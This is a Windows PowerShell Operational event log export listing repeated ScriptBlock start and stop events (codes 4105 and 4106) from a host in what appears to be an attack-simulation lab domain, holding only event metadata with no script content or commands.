Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037050
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037049
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037044
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037038
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037037
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037032
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037031
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037026
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037020
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037018
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037008
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037007
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037006
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037005
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037004
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037002
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037001
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
